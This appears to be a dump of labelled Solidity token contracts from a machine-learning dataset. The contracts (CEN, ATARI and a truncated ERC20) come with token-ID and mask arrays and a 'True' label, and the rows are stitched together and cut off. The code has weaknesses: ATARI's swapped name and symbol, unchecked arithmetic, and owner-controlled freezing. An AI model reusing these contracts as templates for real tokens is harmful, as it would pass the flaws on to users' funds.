1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
pragma solidity ^0.4.24;
/**
* Math operations with safety checks
*/
contract SafeMath {
function safeMul(uint256 a, uint256 b) pure internal returns (uint256) {
uint256 c = a * b;
judgement(a == 0 || c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) pure internal returns (uint256) {
judgement(b > 0);
uint256 c = a / b;
judgement(a == b * c + a % b);
return c;
}
function safeSub(uint256 a, uint256 b) pure internal returns (uint256) {
judgement(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) pure internal returns (uint256) {
uint256 c = a + b;
judgement(c>=a && c>=b);
return c;
}
function safeMulWithPresent(uint256 a , uint256 b) pure internal returns (uint256){
uint256 c = safeDiv(safeMul(a,b),1000);
judgement(b == (c*1000)/a);
return c;
}
function judgement(bool assertion) pure internal {
if (!assertion) {
revert();
}
}
}
contract CENAuth{
address public owner;
constructor () public{
owner = msg.sender;
}
event LogOwnerChanged (address msgSender );
///@notice check if the msgSender is owner
modifier onlyOwner{
assert(msg.sender == owner);
_;
}
function setOwner (address newOwner) public onlyOwner returns (bool){
if (owner == msg.sender){
owner = newOwner;
emit LogOwnerChanged(msg.sender);
return true;
}else{
return false;
}
}
}
contract CENStop is CENAuth{
bool internal stopped = false;
modifier stoppable {
assert (!stopped);
_;
}
function _status() view public returns (bool){
return stopped;
}
function stop() public onlyOwner{
stopped = true;
}
function start() public onlyOwner{
stopped = false;
}
}
contract Token is SafeMath {
/*
Standard ERC20 token
*/
uint256 public totalSupply; /// total amount of tokens
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) public view returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) public returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) public returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) view public returns (uint256 remaining);
function burn(uint256 amount) public returns (bool);
function frozenCheck(address _from , address _to) view private returns (bool);
function freezeAccount(address target , bool freeze) public;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn (address indexed _owner , uint256 _value);
}
contract StandardToken is Token ,CENStop{
function transfer(address _to, uint256 _value) stoppable public returns (bool ind) {
//Default assumes totalSupply can't be over max (2^256 - 1).
//If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap.
//Replace the if with this one instead.
//if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
require(_to!= address(0));
require(frozenCheck(msg.sender,_to));
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] = safeSub(balances[msg.sender] , _value);
balances[_to] = safeAdd(balances[_to],_value);
emit Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) stoppable public returns (bool success) {
//same as above. Replace this line with the following if you want to protect against wrapping uints.
require(frozenCheck(_from,_to));
require(_to!= address(0));
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] = safeAdd(balances[_to],_value);
balances[_from] = safeSub(balances[_from] , _value);
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender],_value);
emit Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) stoppable public returns (bool success) {
require(frozenCheck(_spender,msg.sender));
require(_spender!= address(0));
require(_value>0);
require(allowed[msg.sender][_spender]==0);
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) view public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function burn(uint256 amount) stoppable onlyOwner public returns (bool){
if(balances[msg.sender] > amount ){
balances[msg.sender] = safeSub(balances[msg.sender],amount);
totalSupply = safeSub(totalSupply,amount);
emit Burn(msg.sender,amount);
return true;
}else{
return false;
}
}
function frozenCheck(address _from , address _to) view private returns (bool){
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
return true;
}
function freezeAccount(address target , bool freeze) onlyOwner public{
frozenAccount[target] = freeze;
}
mapping (address => uint256) internal balances;
mapping (address => mapping (address => uint256)) private allowed;
mapping (address => bool) private frozenAccount; //Save frozen account
}
contract CENToken is StandardToken{
string public name = "CEN"; /// Set the full name of this contract
uint256 public decimals = 18; /// Set the decimal
string public symbol = "CEN"; /// Set the symbol of this contract
constructor() public { /// Should have sth in this
owner = msg.sender;
totalSupply = 1000000000000000000000000000;
balances[msg.sender] = totalSupply;
}
function () stoppable public {
revert();
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2484,
1025,
1013,
1008,
1008,
1008,
8785,
3136,
2007,
3808,
14148,
1008,
1013,
3206,
3647,
18900,
2232,
1063,
3853,
3647,
12274,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
5760,
4722,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1008,
1038,
1025,
16646,
1006,
1037,
1027,
1027,
1014,
1064,
1064,
1039,
1013,
1037,
1027,
1027,
1038,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
3647,
4305,
2615,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
5760,
4722,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
16646,
1006,
1038,
1028,
1014,
1007,
1025,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1013,
1038,
1025,
16646,
1006,
1037,
1027,
1027,
1038,
1008,
1039,
1009,
1037,
1003,
1038,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
3647,
6342,
2497,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
5760,
4722,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
16646,
1006,
1038,
1026,
1027,
1037,
1007,
1025,
2709,
1037,
1011,
1038,
1025,
1065,
3853,
3647,
4215,
2094,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
5760,
4722,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
16646,
1006,
1039,
1028,
1027,
1037,
1004,
1004,
1039,
1028,
1027,
1038,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
3647,
12274,
2140,
24415,
28994,
4765,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
5760,
4722,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
3647,
4305,
2615,
1006,
3647,
12274,
2140,
1006,
1037,
1010,
1038,
1007,
1010,
6694,
1007,
1025,
16646,
1006,
1038,
1027,
1027,
1006,
1039,
1008,
6694,
1007,
1013,
1037,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
16646,
1006,
22017,
2140,
23617,
1007,
5760,
4722,
1063,
2065,
1006,
999,
23617,
1007,
1063,
7065,
8743,
1006,
1007,
1025,
1065,
1065,
1065,
3206,
8292,
24619,
2232,
1063,
4769,
2270,
3954,
1025,
9570,
2953,
1006,
1007,
2270,
1063,
3954,
1027,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
2724,
8154,
7962,
2121,
22305,
2098,
1006,
4769,
5796,
5620,
10497,
2121,
1007,
1025,
1013,
1013,
1013,
1030,
5060,
4638,
2065,
1996,
5796,
5620,
10497,
2121,
2003,
3954,
16913,
18095,
2069,
12384,
2121,
1063,
20865,
1006,
5796,
2290,
1012,
4604,
2121,
1027,
1027,
3954,
1007,
1025,
1035,
1025,
1065,
3853,
2275,
12384,
2121,
1006,
4769,
2047,
12384,
2121,
1007,
2270,
2069,
12384,
2121,
5651,
1006,
22017,
2140,
1007,
1063,
2065,
1006,
3954,
1027,
1027,
5796,
2290,
1012,
4604,
2121,
1007,
1063,
3954,
1027,
2047,
12384,
2121,
1025,
12495,
2102,
8154,
7962,
2121,
22305,
2098,
1006,
5796,
2290,
1012,
4604,
2121,
1007,
1025,
2709,
2995,
1025,
1065,
2842,
1063,
2709,
6270,
1025,
1065,
1065,
1065,
3206,
8292,
23808,
7361,
2003,
8292,
24619,
2232,
1063,
22017,
2140,
4722,
3030,
1027,
6270,
1025,
16913,
18095,
2644,
4502,
3468,
1063,
20865,
1006,
999,
3030,
1007,
1025,
1035,
1025,
1065,
3853,
1035,
3570,
1006,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2020-09-06
*/
pragma solidity ^0.6.7;
contract Owned {
modifier onlyOwner() {
require(msg.sender==owner);
_;
}
address payable owner;
address payable newOwner;
function changeOwner(address payable _newOwner) public onlyOwner {
require(_newOwner!=address(0));
newOwner = _newOwner;
}
function acceptOwnership() public {
if (msg.sender==newOwner) {
owner = newOwner;
}
}
}
abstract contract ERC20 {
uint256 public totalSupply;
function balanceOf(address _owner) view public virtual returns (uint256 balance);
function transfer(address _to, uint256 _value) public virtual returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public virtual returns (bool success);
function approve(address _spender, uint256 _value) public virtual returns (bool success);
function allowance(address _owner, address _spender) view public virtual returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Token is Owned, ERC20 {
string public symbol;
string public name;
uint8 public decimals;
mapping (address=>uint256) balances;
mapping (address=>mapping (address=>uint256)) allowed;
function balanceOf(address _owner) view public virtual override returns (uint256 balance) {return balances[_owner];}
function transfer(address _to, uint256 _amount) public virtual override returns (bool success) {
require (balances[msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]);
balances[msg.sender]-=_amount;
balances[_to]+=_amount;
emit Transfer(msg.sender,_to,_amount);
return true;
}
function transferFrom(address _from,address _to,uint256 _amount) public virtual override returns (bool success) {
require (balances[_from]>=_amount&&allowed[_from][msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]);
balances[_from]-=_amount;
allowed[_from][msg.sender]-=_amount;
balances[_to]+=_amount;
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _amount) public virtual override returns (bool success) {
allowed[msg.sender][_spender]=_amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) view public virtual override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract ATARI is Token{
constructor() public{
symbol = "Atari Chain";
name = "ATRI";
decimals = 18;
totalSupply = 7711000000*10**18;
owner = msg.sender;
balances[owner] = totalSupply;
}
receive () payable external {
require(msg.value>0);
owner.transfer(msg.value);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
12609,
1011,
5641,
1011,
5757,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
1021,
1025,
3206,
3079,
1063,
16913,
18095,
2069,
12384,
2121,
1006,
1007,
1063,
5478,
1006,
5796,
2290,
1012,
4604,
2121,
1027,
1027,
3954,
1007,
1025,
1035,
1025,
1065,
4769,
3477,
3085,
3954,
1025,
4769,
3477,
3085,
2047,
12384,
2121,
1025,
3853,
2689,
12384,
2121,
1006,
4769,
3477,
3085,
1035,
2047,
12384,
2121,
1007,
2270,
2069,
12384,
2121,
1063,
5478,
1006,
1035,
2047,
12384,
2121,
999,
1027,
4769,
1006,
1014,
1007,
1007,
1025,
2047,
12384,
2121,
1027,
1035,
2047,
12384,
2121,
1025,
1065,
3853,
5138,
12384,
2545,
5605,
1006,
1007,
2270,
1063,
2065,
1006,
5796,
2290,
1012,
4604,
2121,
1027,
1027,
2047,
12384,
2121,
1007,
1063,
3954,
1027,
2047,
12384,
2121,
1025,
1065,
1065,
1065,
10061,
3206,
9413,
2278,
11387,
1063,
21318,
3372,
17788,
2575,
2270,
21948,
6279,
22086,
1025,
3853,
5703,
11253,
1006,
4769,
1035,
3954,
1007,
3193,
2270,
7484,
5651,
1006,
21318,
3372,
17788,
2575,
5703,
1007,
1025,
3853,
4651,
1006,
4769,
1035,
2000,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
2270,
7484,
5651,
1006,
22017,
2140,
3112,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
1035,
2013,
1010,
4769,
1035,
2000,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
2270,
7484,
5651,
1006,
22017,
2140,
3112,
1007,
1025,
3853,
14300,
1006,
4769,
1035,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
2270,
7484,
5651,
1006,
22017,
2140,
3112,
1007,
1025,
3853,
21447,
1006,
4769,
1035,
3954,
1010,
4769,
1035,
5247,
2121,
1007,
3193,
2270,
7484,
5651,
1006,
21318,
3372,
17788,
2575,
3588,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
1035,
2013,
1010,
4769,
25331,
1035,
2000,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
1035,
3954,
1010,
4769,
25331,
1035,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
1025,
1065,
3206,
19204,
2003,
3079,
1010,
9413,
2278,
11387,
1063,
5164,
2270,
6454,
1025,
5164,
2270,
2171,
1025,
21318,
3372,
2620,
2270,
26066,
2015,
1025,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
17788,
2575,
1007,
5703,
2015,
1025,
12375,
1006,
4769,
1027,
1028,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
17788,
2575,
1007,
1007,
3039,
1025,
3853,
5703,
11253,
1006,
4769,
1035,
3954,
1007,
3193,
2270,
7484,
2058,
15637,
5651,
1006,
21318,
3372,
17788,
2575,
5703,
1007,
1063,
2709,
5703,
2015,
1031,
1035,
3954,
1033,
1025,
1065,
3853,
4651,
1006,
4769,
1035,
2000,
1010,
21318,
3372,
17788,
2575,
1035,
3815,
1007,
2270,
7484,
2058,
15637,
5651,
1006,
22017,
2140,
3112,
1007,
1063,
5478,
1006,
5703,
2015,
1031,
5796,
2290,
1012,
4604,
2121,
1033,
1028,
1027,
1035,
3815,
1004,
1004,
1035,
3815,
1028,
1014,
1004,
1004,
5703,
2015,
1031,
1035,
2000,
1033,
1009,
1035,
3815,
1028,
5703,
2015,
1031,
1035,
2000,
1033,
1007,
1025,
5703,
2015,
1031,
5796,
2290,
1012,
4604,
2121,
1033,
1011,
1027,
1035,
3815,
1025,
5703,
2015,
1031,
1035,
2000,
1033,
1009,
1027,
1035,
3815,
1025,
12495,
2102,
4651,
1006,
5796,
2290,
1012,
4604,
2121,
1010,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* NOTE: This is a feature of the next version of OpenZeppelin Contracts.
* @dev Get it via `npm install @openzeppelin/contracts@next`.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
* NOTE: This is a feature of the next version of OpenZeppelin Contracts.
* @dev Get it via `npm install @openzeppelin/contracts@next`.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* NOTE: This is a feature of the next version of OpenZeppelin Contracts.
* @dev Get it via `npm install @openzeppelin/contracts@next`.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(_msgSender(), spender, value);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `value`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
